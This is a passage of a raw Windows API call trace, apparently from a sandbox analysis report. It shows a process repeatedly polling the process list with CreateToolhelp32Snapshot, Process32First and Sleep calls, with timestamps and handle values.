lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.494] Sleep (dwMilliseconds=0x64) [0172.496] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.516] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.598] Sleep (dwMilliseconds=0x64) [0172.603] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.617] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.706] Sleep (dwMilliseconds=0x64) [0172.708] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.722] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.795] Sleep (dwMilliseconds=0x64) [0172.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.809] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.882] Sleep (dwMilliseconds=0x64) [0172.883] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0172.896] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.009] Sleep (dwMilliseconds=0x64) [0173.011] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.022] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.128] Sleep (dwMilliseconds=0x64) [0173.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.142] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.215] Sleep (dwMilliseconds=0x64) [0173.217] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.228] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.290] Sleep (dwMilliseconds=0x64) [0173.293] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.308] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.416] Sleep (dwMilliseconds=0x64) [0173.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.430] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.563] Sleep (dwMilliseconds=0x64) [0173.566] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.581] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.663] Sleep (dwMilliseconds=0x64) [0173.664] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.681] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.753] Sleep (dwMilliseconds=0x64) [0173.754] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.775] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.869] Sleep (dwMilliseconds=0x64) [0173.871] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0173.887] Process32First (in: hSnapshot=0x2198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.027] Sleep (dwMilliseconds=0x64) [0174.030] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.041] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.139] Sleep (dwMilliseconds=0x64) [0174.140] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.152] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.252] Sleep (dwMilliseconds=0x64) [0174.253] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.274] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.357] Sleep (dwMilliseconds=0x64) [0174.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.404] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.472] Sleep (dwMilliseconds=0x64) [0174.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.486] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.577] Sleep (dwMilliseconds=0x64) [0174.579] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.591] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.681] Sleep (dwMilliseconds=0x64) [0174.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.698] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.809] Sleep (dwMilliseconds=0x64) [0174.811] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.822] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.888] Sleep (dwMilliseconds=0x64) [0174.892] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x216c [0174.904] Process32First (in: hSnapshot=0x216c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.112] Sleep (dwMilliseconds=0x64) [0175.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0175.202] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.299] Sleep (dwMilliseconds=0x64) [0175.311] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0175.332] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.439] Sleep (dwMilliseconds=0x64) [0175.441] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0175.452] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.537] Sleep (dwMilliseconds=0x64) [0175.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0175.582] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.699] Sleep (dwMilliseconds=0x64) [0175.701] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0175.721] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.827] Sleep (dwMilliseconds=0x64) [0175.829] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0175.851] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.009] Sleep (dwMilliseconds=0x64) [0176.011] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0176.023] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.117] Sleep (dwMilliseconds=0x64) [0176.119] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0176.132] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.198] Sleep (dwMilliseconds=0x64) [0176.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0176.210] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.300] Sleep (dwMilliseconds=0x64) [0176.301] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0176.315] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.425] Sleep (dwMilliseconds=0x64) [0176.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0176.448] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.548] Sleep (dwMilliseconds=0x64) [0176.550] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ac [0176.562] Process32First (in: hSnapshot=0x21ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.628] Sleep (dwMilliseconds=0x64) [0176.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0176.645] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.746] Sleep (dwMilliseconds=0x64) [0176.749] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0176.764] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.866] Sleep (dwMilliseconds=0x64) [0176.867] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0176.883] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.017] Sleep (dwMilliseconds=0x64) [0177.018] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.035] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.200] Sleep (dwMilliseconds=0x64) [0177.202] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.215] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.291] Sleep (dwMilliseconds=0x64) [0177.293] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.308] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.386] Sleep (dwMilliseconds=0x64) [0177.389] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.418] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.486] Sleep (dwMilliseconds=0x64) [0177.488] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.503] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.603] Sleep (dwMilliseconds=0x64) [0177.604] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.621] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.715] Sleep (dwMilliseconds=0x64) [0177.717] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.729] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.817] Sleep (dwMilliseconds=0x64) [0177.819] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.832] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.982] Sleep (dwMilliseconds=0x64) [0177.983] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0177.996] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.069] Sleep (dwMilliseconds=0x64) [0178.074] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0178.102] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.186] Sleep (dwMilliseconds=0x64) [0178.187] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0178.200] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.364] Sleep (dwMilliseconds=0x64) [0178.385] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0178.400] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.527] Sleep (dwMilliseconds=0x64) [0178.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2188 [0178.568] Process32First (in: hSnapshot=0x2188, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.636] Sleep (dwMilliseconds=0x64) [0178.646] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0178.783] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.859] Sleep (dwMilliseconds=0x64) [0178.873] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2188 [0178.885] Process32First (in: hSnapshot=0x2188, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.074] Sleep (dwMilliseconds=0x64) [0179.091] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0179.103] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.271] Sleep (dwMilliseconds=0x64) [0179.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0179.287] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.654] Sleep (dwMilliseconds=0x64) [0179.680] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0179.694] Process32First (in: hSnapshot=0x2184, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.758] Sleep (dwMilliseconds=0x64) [0179.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2188 [0180.069] Process32First (in: hSnapshot=0x2188, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.150] Sleep (dwMilliseconds=0x64) [0180.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0180.268] Process32First (in: hSnapshot=0x2184, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.447] Sleep (dwMilliseconds=0x64) [0180.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0180.483] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.714] Sleep (dwMilliseconds=0x64) [0180.716] 